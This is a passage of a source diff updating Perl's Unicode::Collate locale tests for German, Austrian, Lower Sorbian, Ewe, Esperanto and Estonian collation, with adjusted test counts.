+ ok($objNoSuppress->eq("\x{4C1}", "\x{416}$i\x{306}"));
+ ok($objNoSuppress->eq("\x{4DD}", "\x{436}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4DC}", "\x{416}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4DF}", "\x{437}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4DE}", "\x{417}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{45D}", "\x{438}$i\x{300}"));
+ ok($objNoSuppress->eq("\x{40D}", "\x{418}$i\x{300}"));
+ ok($objNoSuppress->eq("\x{4E5}", "\x{438}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4E4}", "\x{418}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4E3}", "\x{438}$i\x{304}"));
+ ok($objNoSuppress->eq("\x{4E2}", "\x{418}$i\x{304}"));
+ ok($objNoSuppress->eq("\x{457}", "\x{456}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{407}", "\x{406}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{45C}", "\x{43A}$i\x{301}"));
+ ok($objNoSuppress->eq("\x{40C}", "\x{41A}$i\x{301}"));
+ ok($objNoSuppress->eq("\x{4E7}", "\x{43E}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4E6}", "\x{41E}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{45E}", "\x{443}$i\x{306}"));
+ ok($objNoSuppress->eq("\x{40E}", "\x{423}$i\x{306}"));
+ ok($objNoSuppress->eq("\x{4F1}", "\x{443}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4F0}", "\x{423}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4F3}", "\x{443}$i\x{30B}"));
+ ok($objNoSuppress->eq("\x{4F2}", "\x{423}$i\x{30B}"));
+ ok($objNoSuppress->eq("\x{4EF}", "\x{443}$i\x{304}"));
+ ok($objNoSuppress->eq("\x{4EE}", "\x{423}$i\x{304}"));
+ ok($objNoSuppress->eq("\x{4F5}", "\x{447}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4F4}", "\x{427}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4F9}", "\x{44B}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4F8}", "\x{42B}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4ED}", "\x{44D}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4EC}", "\x{42D}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{477}", "\x{475}$i\x{30F}"));
+ ok($objNoSuppress->eq("\x{476}", "\x{474}$i\x{30F}"));
}
-# 130
+# 208
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_de.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_de.t
index a1f191ceeac..b6d5737e0e9 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_de.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_de.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..32\n"; }
+BEGIN { $| = 1; print "1..50\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -74,11 +74,17 @@ ok($objDe->gt("O\x{308}", "O"));
ok($objDe->gt("u\x{308}", "u"));
ok($objDe->gt("U\x{308}", "U"));
+# 20
+
ok($objDe->eq("a\x{308}", "A\x{308}"));
ok($objDe->eq("o\x{308}", "O\x{308}"));
ok($objDe->eq("u\x{308}", "U\x{308}"));
-# 23
+ok($objDe->eq($auml, $Auml));
+ok($objDe->eq($ouml, $Ouml));
+ok($objDe->eq($uuml, $Uuml));
+
+# 26
$objDe->change(level => 3);
@@ -86,6 +92,12 @@ ok($objDe->lt("a\x{308}", "A\x{308}"));
ok($objDe->lt("o\x{308}", "O\x{308}"));
ok($objDe->lt("u\x{308}", "U\x{308}"));
+ok($objDe->lt($auml, $Auml));
+ok($objDe->lt($ouml, $Ouml));
+ok($objDe->lt($uuml, $Uuml));
+
+# 32
+
ok($objDe->eq("a\x{308}", $auml));
ok($objDe->eq("A\x{308}", $Auml));
ok($objDe->eq("o\x{308}", $ouml));
@@ -93,4 +105,19 @@ ok($objDe->eq("O\x{308}", $Ouml));
ok($objDe->eq("u\x{308}", $uuml));
ok($objDe->eq("U\x{308}", $Uuml));
-# 32
+# 38
+
+ok($objDe->eq("a\x{308}\x{304}", "\x{1DF}"));
+ok($objDe->eq("A\x{308}\x{304}", "\x{1DE}"));
+ok($objDe->eq("o\x{308}\x{304}", "\x{22B}"));
+ok($objDe->eq("O\x{308}\x{304}", "\x{22A}"));
+ok($objDe->eq("u\x{308}\x{300}", "\x{1DC}"));
+ok($objDe->eq("U\x{308}\x{300}", "\x{1DB}"));
+ok($objDe->eq("u\x{308}\x{301}", "\x{1D8}"));
+ok($objDe->eq("U\x{308}\x{301}", "\x{1D7}"));
+ok($objDe->eq("u\x{308}\x{304}", "\x{1D6}"));
+ok($objDe->eq("U\x{308}\x{304}", "\x{1D5}"));
+ok($objDe->eq("u\x{308}\x{30C}", "\x{1DA}"));
+ok($objDe->eq("U\x{308}\x{30C}", "\x{1D9}"));
+
+# 50
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deat.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deat.t
new file mode 100644
index 00000000000..9c20f839738
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deat.t
@@ -0,0 +1,131 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..46\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $auml = pack 'U', 0xE4;
+my $Auml = pack 'U', 0xC4;
+my $ouml = pack 'U', 0xF6;
+my $Ouml = pack 'U', 0xD6;
+my $uuml = pack 'U', 0xFC;
+my $Uuml = pack 'U', 0xDC;
+my $eses = pack 'U', 0xDF;
+my $Eses = pack 'U', 0x1E9E;
+
+my $objDeAtPhone = Unicode::Collate::Locale->
+ new(locale => 'DE_AT_phonebook', normalization => undef);
+
+ok($objDeAtPhone->getlocale, 'de_AT_phonebook');
+
+$objDeAtPhone->change(level => 1);
+
+ok($objDeAtPhone->gt($auml, "az"));
+ok($objDeAtPhone->lt($auml, "b"));
+ok($objDeAtPhone->gt($ouml, "oz"));
+ok($objDeAtPhone->lt($ouml, "p"));
+ok($objDeAtPhone->gt($uuml, "uz"));
+ok($objDeAtPhone->lt($uuml, "v"));
+ok($objDeAtPhone->gt($eses, "ssz"));
+ok($objDeAtPhone->lt($eses, "st"));
+
+# 10
+
+$objDeAtPhone->change(level => 2);
+
+ok($objDeAtPhone->eq("a\x{308}", "A\x{308}"));
+ok($objDeAtPhone->eq("o\x{308}", "O\x{308}"));
+ok($objDeAtPhone->eq("u\x{308}", "U\x{308}"));
+
+ok($objDeAtPhone->eq($auml, $Auml));
+ok($objDeAtPhone->eq($ouml, $Ouml));
+ok($objDeAtPhone->eq($uuml, $Uuml));
+ok($objDeAtPhone->eq($eses, $Eses));
+
+# 17
+
+$objDeAtPhone->change(level => 3);
+
+ok($objDeAtPhone->lt("a\x{308}", "A\x{308}"));
+ok($objDeAtPhone->lt("o\x{308}", "O\x{308}"));
+ok($objDeAtPhone->lt("u\x{308}", "U\x{308}"));
+
+ok($objDeAtPhone->lt($auml, $Auml));
+ok($objDeAtPhone->lt($ouml, $Ouml));
+ok($objDeAtPhone->lt($uuml, $Uuml));
+ok($objDeAtPhone->lt($eses, $Eses));
+
+# 24
+
+ok($objDeAtPhone->eq("a\x{308}", $auml));
+ok($objDeAtPhone->eq("A\x{308}", $Auml));
+ok($objDeAtPhone->eq("o\x{308}", $ouml));
+ok($objDeAtPhone->eq("O\x{308}", $Ouml));
+ok($objDeAtPhone->eq("u\x{308}", $uuml));
+ok($objDeAtPhone->eq("U\x{308}", $Uuml));
+
+# 30
+
+ok($objDeAtPhone->eq("a\x{308}\x{304}", "\x{1DF}"));
+ok($objDeAtPhone->eq("A\x{308}\x{304}", "\x{1DE}"));
+ok($objDeAtPhone->eq("o\x{308}\x{304}", "\x{22B}"));
+ok($objDeAtPhone->eq("O\x{308}\x{304}", "\x{22A}"));
+ok($objDeAtPhone->eq("u\x{308}\x{300}", "\x{1DC}"));
+ok($objDeAtPhone->eq("U\x{308}\x{300}", "\x{1DB}"));
+ok($objDeAtPhone->eq("u\x{308}\x{301}", "\x{1D8}"));
+ok($objDeAtPhone->eq("U\x{308}\x{301}", "\x{1D7}"));
+ok($objDeAtPhone->eq("u\x{308}\x{304}", "\x{1D6}"));
+ok($objDeAtPhone->eq("U\x{308}\x{304}", "\x{1D5}"));
+ok($objDeAtPhone->eq("u\x{308}\x{30C}", "\x{1DA}"));
+ok($objDeAtPhone->eq("U\x{308}\x{30C}", "\x{1D9}"));
+
+# 42
+
+{
+ my $objDeLatnAtPhone = Unicode::Collate::Locale->
+ new(locale => 'DE_Latn_AT_phonebook', normalization => undef);
+ ok($objDeLatnAtPhone->getlocale, 'de_AT_phonebook');
+ $objDeLatnAtPhone->change(level => 1);
+ ok($objDeLatnAtPhone->gt($auml, 'az'));
+}
+
+# 44
+
+{
+ my $objDeAt = Unicode::Collate::Locale->
+ new(locale => 'DE_AT', normalization => undef);
+ ok($objDeAt->getlocale, 'default');
+ $objDeAt->change(level => 1);
+ ok($objDeAt->eq($auml, 'a'));
+}
+
+# 46
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deph.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deph.t
index 4a11df4153b..26c48641dc5 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deph.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deph.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..42\n"; }
+BEGIN { $| = 1; print "1..52\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -65,11 +65,17 @@ ok($objDePhone->gt("O\x{308}", "OE"));
ok($objDePhone->gt("u\x{308}", "ue"));
ok($objDePhone->gt("U\x{308}", "UE"));
+# 14
+
ok($objDePhone->eq("a\x{308}", "A\x{308}"));
ok($objDePhone->eq("o\x{308}", "O\x{308}"));
ok($objDePhone->eq("u\x{308}", "U\x{308}"));
-# 17
+ok($objDePhone->eq($auml, $Auml));
+ok($objDePhone->eq($ouml, $Ouml));
+ok($objDePhone->eq($uuml, $Uuml));
+
+# 20
$objDePhone->change(level => 3);
@@ -77,6 +83,12 @@ ok($objDePhone->lt("a\x{308}", "A\x{308}"));
ok($objDePhone->lt("o\x{308}", "O\x{308}"));
ok($objDePhone->lt("u\x{308}", "U\x{308}"));
+ok($objDePhone->lt($auml, $Auml));
+ok($objDePhone->lt($ouml, $Ouml));
+ok($objDePhone->lt($uuml, $Uuml));
+
+# 26
+
ok($objDePhone->eq("a\x{308}", $auml));
ok($objDePhone->eq("A\x{308}", $Auml));
ok($objDePhone->eq("o\x{308}", $ouml));
@@ -84,7 +96,7 @@ ok($objDePhone->eq("O\x{308}", $Ouml));
ok($objDePhone->eq("u\x{308}", $uuml));
ok($objDePhone->eq("U\x{308}", $Uuml));
-# 26
+# 32
ok($objDePhone->eq("a\x{308}\x{304}", "\x{1DF}"));
ok($objDePhone->eq("A\x{308}\x{304}", "\x{1DE}"));
@@ -99,26 +111,44 @@ ok($objDePhone->eq("U\x{308}\x{304}", "\x{1D5}"));
ok($objDePhone->eq("u\x{308}\x{30C}", "\x{1DA}"));
ok($objDePhone->eq("U\x{308}\x{30C}", "\x{1D9}"));
-# 38
+# 44
-my $objDePhoneBook = Unicode::Collate::Locale->
+{
+ my $objDePhoneBook = Unicode::Collate::Locale->
new(locale => 'de__phonebook', normalization => undef);
+ ok($objDePhoneBook->getlocale, 'de__phonebook');
+ $objDePhoneBook->change(level => 1);
+ ok($objDePhoneBook->eq("a\x{308}", "ae"));
+}
-ok($objDePhoneBook->getlocale, 'de__phonebook');
-
-$objDePhoneBook->change(level => 1);
-
-ok($objDePhoneBook->eq("a\x{308}", "ae"));
-
-# 40
+# 46
-my $objDePhonebk = Unicode::Collate::Locale->
+{
+ my $objDePhonebk = Unicode::Collate::Locale->
new(locale => 'de-phonebk', normalization => undef);
+ ok($objDePhonebk->getlocale, 'de__phonebook');
+ $objDePhonebk->change(level => 1);
+ ok($objDePhonebk->eq("a\x{308}", "ae"));
+}
-ok($objDePhonebk->getlocale, 'de__phonebook');
+# 48
-$objDePhonebk->change(level => 1);
+{
+ my $objDeDePhone = Unicode::Collate::Locale->
+ new(locale => 'de_DE_phone', normalization => undef);
+ ok($objDeDePhone->getlocale, 'de__phonebook');
+ $objDeDePhone->change(level => 1);
+ ok($objDeDePhone->eq("a\x{308}", "ae"));
+}
+
+# 50
-ok($objDePhonebk->eq("a\x{308}", "ae"));
+{
+ my $objDeChPhonebk = Unicode::Collate::Locale->
+ new(locale => 'de_CH_phonebk', normalization => undef);
+ ok($objDeChPhonebk->getlocale, 'de__phonebook');
+ $objDeChPhonebk->change(level => 1);
+ ok($objDeChPhonebk->eq("a\x{308}", "ae"));
+}
-# 42
+# 52
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_dsb.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_dsb.t
new file mode 100644
index 00000000000..25cee289b79
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_dsb.t
@@ -0,0 +1,137 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..87\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objDsb = Unicode::Collate::Locale->
+ new(locale => 'DSB', normalization => undef);
+
+ok($objDsb->getlocale, 'dsb');
+
+$objDsb->change(level => 1);
+
+my @prim = (
+ "cz", "c\x{30C}", "c\x{301}", "d", # 5
+ "ez", "e\x{30C}", "f", # 8
+ "hz", "ch", "i", # 11
+ "kz", "l\x{335}", "l", # 14
+ "nz", "n\x{301}", "o", # 17
+ "rz", "r\x{301}", "s", # 20
+ "sz", "s\x{30C}", "s\x{301}", "t", # 24
+ "zz", "z\x{30C}", "z\x{301}", "\x{292}" # EZH
+);
+
+for (my $i = 1; $i < @prim; $i++) {
+ ok($objDsb->lt($prim[$i-1], $prim[$i]));
+}
+
+# 28
+
+$objDsb->change(level => 2);
+
+ok($objDsb->eq("c\x{30C}", "C\x{30C}"));
+ok($objDsb->eq("c\x{301}", "C\x{301}"));
+ok($objDsb->eq("e\x{30C}", "E\x{30C}"));
+ok($objDsb->eq("l\x{335}", "L\x{335}"));
+ok($objDsb->eq("n\x{301}", "N\x{301}"));
+ok($objDsb->eq("r\x{301}", "R\x{301}"));
+ok($objDsb->eq("s\x{30C}", "S\x{30C}"));
+ok($objDsb->eq("s\x{301}", "S\x{301}"));
+ok($objDsb->eq("z\x{30C}", "Z\x{30C}"));
+ok($objDsb->eq("z\x{301}", "Z\x{301}"));
+
+ok($objDsb->eq("ch", "cH"));
+ok($objDsb->eq("cH", "Ch"));
+ok($objDsb->eq("Ch", "CH"));
+
+# 41
+
+$objDsb->change(level => 3);
+
+ok($objDsb->lt("c\x{30C}", "C\x{30C}"));
+ok($objDsb->lt("c\x{301}", "C\x{301}"));
+ok($objDsb->lt("e\x{30C}", "E\x{30C}"));
+ok($objDsb->lt("l\x{335}", "L\x{335}"));
+ok($objDsb->lt("n\x{301}", "N\x{301}"));
+ok($objDsb->lt("r\x{301}", "R\x{301}"));
+ok($objDsb->lt("s\x{30C}", "S\x{30C}"));
+ok($objDsb->lt("s\x{301}", "S\x{301}"));
+ok($objDsb->lt("z\x{30C}", "Z\x{30C}"));
+ok($objDsb->lt("z\x{301}", "Z\x{301}"));
+
+ok($objDsb->lt("ch", "cH"));
+ok($objDsb->lt("cH", "Ch"));
+ok($objDsb->lt("Ch", "CH"));
+
+# 54
+
+ok($objDsb->eq("c\x{30C}", "\x{10D}"));
+ok($objDsb->eq("C\x{30C}", "\x{10C}"));
+ok($objDsb->eq("c\x{301}", "\x{107}"));
+ok($objDsb->eq("c\x{341}", "\x{107}"));
+ok($objDsb->eq("C\x{301}", "\x{106}"));
+ok($objDsb->eq("C\x{341}", "\x{106}"));
+ok($objDsb->eq("e\x{30C}", "\x{11B}"));
+ok($objDsb->eq("E\x{30C}", "\x{11A}"));
+ok($objDsb->eq("l\x{335}", "\x{142}"));
+ok($objDsb->eq("L\x{335}", "\x{141}"));
+ok($objDsb->eq("n\x{301}", "\x{144}"));
+ok($objDsb->eq("n\x{341}", "\x{144}"));
+ok($objDsb->eq("N\x{301}", "\x{143}"));
+ok($objDsb->eq("N\x{341}", "\x{143}"));
+ok($objDsb->eq("r\x{301}", "\x{155}"));
+ok($objDsb->eq("r\x{341}", "\x{155}"));
+ok($objDsb->eq("R\x{301}", "\x{154}"));
+ok($objDsb->eq("R\x{341}", "\x{154}"));
+ok($objDsb->eq("s\x{30C}", "\x{161}"));
+ok($objDsb->eq("S\x{30C}", "\x{160}"));
+ok($objDsb->eq("s\x{301}", "\x{15B}"));
+ok($objDsb->eq("s\x{341}", "\x{15B}"));
+ok($objDsb->eq("S\x{301}", "\x{15A}"));
+ok($objDsb->eq("S\x{341}", "\x{15A}"));
+ok($objDsb->eq("z\x{30C}", "\x{17E}"));
+ok($objDsb->eq("Z\x{30C}", "\x{17D}"));
+ok($objDsb->eq("z\x{301}", "\x{17A}"));
+ok($objDsb->eq("z\x{341}", "\x{17A}"));
+ok($objDsb->eq("Z\x{301}", "\x{179}"));
+ok($objDsb->eq("Z\x{341}", "\x{179}"));
+
+# 84
+
+$objDsb->change(upper_before_lower => 1);
+
+ok($objDsb->gt("ch", "cH"));
+ok($objDsb->gt("cH", "Ch"));
+ok($objDsb->gt("Ch", "CH"));
+
+# 87
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ee.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ee.t
index 475e194cea9..15eb67af5dc 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ee.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ee.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..120\n"; }
+BEGIN { $| = 1; print "1..124\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -42,39 +42,21 @@ ok($objEe->getlocale, 'ee');
$objEe->change(level => 1);
-ok($objEe->lt("d", "d\x{292}"));
-ok($objEe->gt("dz","d\x{292}"));
-ok($objEe->lt("dz","\x{256}"));
-ok($objEe->gt("e", "\x{256}"));
-ok($objEe->lt("e", "\x{25B}"));
-ok($objEe->gt("f", "\x{25B}"));
-ok($objEe->lt("f", "\x{192}"));
-ok($objEe->gt("g", "\x{192}"));
-
-ok($objEe->lt("gz","gb"));
-ok($objEe->lt("gb","\x{263}"));
-ok($objEe->gt("h", "\x{263}"));
-ok($objEe->lt("h", "hz"));
-ok($objEe->lt("hz","x"));
-ok($objEe->lt("x", "i"));
-
-# 16
-
-ok($objEe->lt("kz","kp"));
-ok($objEe->lt("kp","l"));
-ok($objEe->lt("nz","ny"));
-ok($objEe->lt("ny","\x{14B}"));
-ok($objEe->gt("o", "\x{14B}"));
-ok($objEe->lt("o", "\x{254}"));
-ok($objEe->gt("p", "\x{254}"));
-
-ok($objEe->lt("tz","ts"));
-ok($objEe->lt("ts","u"));
-ok($objEe->lt("u", "v"));
-ok($objEe->lt("v", "\x{28B}"));
-ok($objEe->gt("w", "\x{28B}"));
-
-# 28
+my @prim = (
+ "d", "d\x{292}", "dz", "\x{256}", # 5
+ "e", "\x{25B}", "f", "\x{192}", # 9
+ "g", "gz", "gb", "\x{263}", "h", # 14
+ "hz", "x", "i", "kz", "kp", "l", # 20
+ "nz", "ny", "\x{14B}", "o", # 24
+ "\x{254}", "p", "tz", "ts", "u", # 29
+ "v", "\x{28B}", "w",
+);
+
+for (my $i = 1; $i < @prim; $i++) {
+ ok($objEe->lt($prim[$i-1], $prim[$i]));
+}
+
+# 32
ok($objEe->eq("\x{302}", "\x{30C}"));
ok($objEe->eq("a\x{302}", "a\x{30C}"));
@@ -90,7 +72,7 @@ ok($objEe->eq("U\x{302}", "U\x{30C}"));
ok($objEe->eq("y\x{302}", "y\x{30C}"));
ok($objEe->eq("Y\x{302}", "Y\x{30C}"));
-# 41
+# 45
$objEe->change(level => 2);
@@ -108,7 +90,7 @@ ok($objEe->gt("U\x{302}", "U\x{30C}"));
ok($objEe->gt("y\x{302}", "y\x{30C}"));
ok($objEe->gt("Y\x{302}", "Y\x{30C}"));
-# 54
+# 58
ok($objEe->eq("dz", "Dz"));
ok($objEe->eq("Dz", "DZ"));
@@ -129,7 +111,7 @@ ok($objEe->eq("ts", "Ts"));
ok($objEe->eq("Ts", "TS"));
ok($objEe->eq("\x{28B}", "\x{1B2}"));
-# 72
+# 76
$objEe->change(level => 3);
@@ -152,7 +134,7 @@ ok($objEe->lt("ts", "Ts"));
ok($objEe->lt("Ts", "TS"));
ok($objEe->lt("\x{28B}", "\x{1B2}"));
-# 90
+# 94
ok($objEe->eq("a\x{302}", pack('U', 0xE2)));
ok($objEe->eq("A\x{302}", pack('U', 0xC2)));
@@ -167,7 +149,7 @@ ok($objEe->eq("U\x{302}", pack('U', 0xDB)));
ok($objEe->eq("y\x{302}", "\x{177}"));
ok($objEe->eq("Y\x{302}", "\x{176}"));
-# 102
+# 106
$objEe->change(upper_before_lower => 1);
@@ -190,4 +172,4 @@ ok($objEe->gt("ts", "Ts"));
ok($objEe->gt("Ts", "TS"));
ok($objEe->gt("\x{28B}", "\x{1B2}"));
-# 120
+# 124
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_eo.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_eo.t
index 3ab88907ed4..da87515f538 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_eo.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_eo.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..38\n"; }
+BEGIN { $| = 1; print "1..44\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -41,19 +41,25 @@ ok($objEo->getlocale, 'eo');
$objEo->change(level => 1);
ok($objEo->lt("c", "c\x{302}"));
+ok($objEo->lt("cz","c\x{302}"));
ok($objEo->gt("d", "c\x{302}"));
ok($objEo->lt("g", "g\x{302}"));
+ok($objEo->lt("gz","g\x{302}"));
ok($objEo->gt("h", "g\x{302}"));
ok($objEo->lt("h", "h\x{302}"));
+ok($objEo->lt("hz","h\x{302}"));
ok($objEo->gt("i", "h\x{302}"));
ok($objEo->lt("j", "j\x{302}"));
+ok($objEo->lt("jz","j\x{302}"));
ok($objEo->gt("k", "j\x{302}"));
ok($objEo->lt("s", "s\x{302}"));
+ok($objEo->lt("sz","s\x{302}"));
ok($objEo->gt("t", "s\x{302}"));
ok($objEo->lt("u", "u\x{306}"));
+ok($objEo->lt("uz","u\x{306}"));
ok($objEo->gt("v", "u\x{306}"));
-# 14
+# 20
$objEo->change(level => 2);
@@ -64,7 +70,7 @@ ok($objEo->eq("j\x{302}", "J\x{302}"));
ok($objEo->eq("s\x{302}", "S\x{302}"));
ok($objEo->eq("u\x{306}", "U\x{306}"));
-# 20
+# 26
$objEo->change(level => 3);
@@ -75,7 +81,7 @@ ok($objEo->lt("j\x{302}", "J\x{302}"));
ok($objEo->lt("s\x{302}", "S\x{302}"));
ok($objEo->lt("u\x{306}", "U\x{306}"));
-# 26
+# 32
ok($objEo->eq("c\x{302}", "\x{109}"));
ok($objEo->eq("C\x{302}", "\x{108}"));
@@ -90,4 +96,4 @@ ok($objEo->eq("S\x{302}", "\x{15C}"));
ok($objEo->eq("u\x{306}", "\x{16D}"));
ok($objEo->eq("U\x{306}", "\x{16C}"));
-# 38
+# 44
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_et.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_et.t
index 2c0e60bda86..8713e6fe1c0 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_et.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_et.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..61\n"; }
+BEGIN { $| = 1; print "1..60\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -44,7 +44,7 @@ ok($objEt->lt("s", "s\x{30C}"));
ok($objEt->gt("z", "s\x{30C}"));
ok($objEt->lt("z", "z\x{30C}"));
ok($objEt->gt("t", "z\x{30C}"));
-ok($objEt->eq("v", "w"));
+ok($objEt->lt("v", "w")); # no tailoring
ok($objEt->lt("w", "o\x{303}"));
ok($objEt->lt("o\x{303}", "a\x{308}"));
ok($objEt->lt("a\x{308}", "o\x{308}"));
@@ -55,7 +55,6 @@ ok($objEt->lt("u\x{308}", "x"));
$objEt->change(level => 2);
-ok($objEt->lt("v", "w"));
ok($objEt->eq("s\x{30C}", "S\x{30C}"));
ok($objEt->eq("z", "Z"));
ok($objEt->eq("z\x{30C}", "Z\x{30C}"));
@@ -65,7 +64,7 @@ ok($objEt->eq("a\x{308}", "A\x{308}"));
ok($objEt->eq("o\x{308}", "O\x{308}"));
ok($objEt->eq("u\x{308}", "U\x{308}"));
-# 21
+# 20
$objEt->change(level => 3);
@@ -78,7 +77,7 @@ ok($objEt->lt("a\x{308}", "A\x{308}"));
ok($objEt->lt("o\x{308}", "O\x{308}"));
ok($objEt->lt("u\x{308}", "U\x{308}"));
-# 29
+# 28
ok($objEt->eq("s\x{30C}", "\x{161}"));
ok($objEt->eq("S\x{30C}", "\x{160}"));
@@ -93,16 +92,16 @@ ok($objEt->eq("O\x{308}", pack('U', 0xD6)));
ok($objEt->eq("u\x{308}", pack('U', 0xFC)));
ok($objEt->eq("U\x{308}", pack('U', 0xDC)));
-# 41
+# 40
-ok($objEt->eq("o\x{303}\x{301}","\x{1E4D}"));
-ok($objEt->eq("O\x{303}\x{301}","\x{1E4C}"));
+ok($objEt->eq("o\x{303}\x{301}", "\x{1E4D}"));
+ok($objEt->eq("O\x{303}\x{301}", "\x{1E4C}"));
ok($objEt->eq("o\x{303}\x{304}", "\x{22D}"));
ok($objEt->eq("O\x{303}\x{304}", "\x{22C}"));
-ok($objEt->eq("o\x{303}\x{308}","\x{1E4F}"));
-ok($objEt->eq("O\x{303}\x{308}","\x{1E4E}"));
-ok($objEt->eq("o\x{303}\x{31B}","\x{1EE1}"));
-ok($objEt->eq("O\x{303}\x{31B}","\x{1EE0}"));
+ok($objEt->eq("o\x{303}\x{308}", "\x{1E4F}"));
+ok($objEt->eq("O\x{303}\x{308}", "\x{1E4E}"));
+ok($objEt->eq("o\x{303}\x{31B}", "\x{1EE1}"));
+ok($objEt->eq("O\x{303}\x{31B}", "\x{1EE0}"));
ok($objEt->eq("a\x{308}\x{304}", "\x{1DF}"));
ok($objEt->eq("A\x{308}\x{304}", "\x{1DE}"));
ok($objEt->eq("o\x{308}\x{304}", "\x{22B}"));
@@ -116,4 +115,4 @@ ok($objEt->eq("U\x{308}\x{304}", "\x{1D5}"));
ok($objEt->eq("u\x{308}\x{30C}", "\x{1DA}"));
ok($objEt->eq("U\x{308}\x{30C}", "\x{1D9}"));
-# 61
+# 60
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_fil.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_fil.t
index 77f0eacc968..741e26016b3 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_fil.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_fil.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..14\n"; }
+BEGIN { $| = 1; print "1..19\n"; }
my $count = 0;
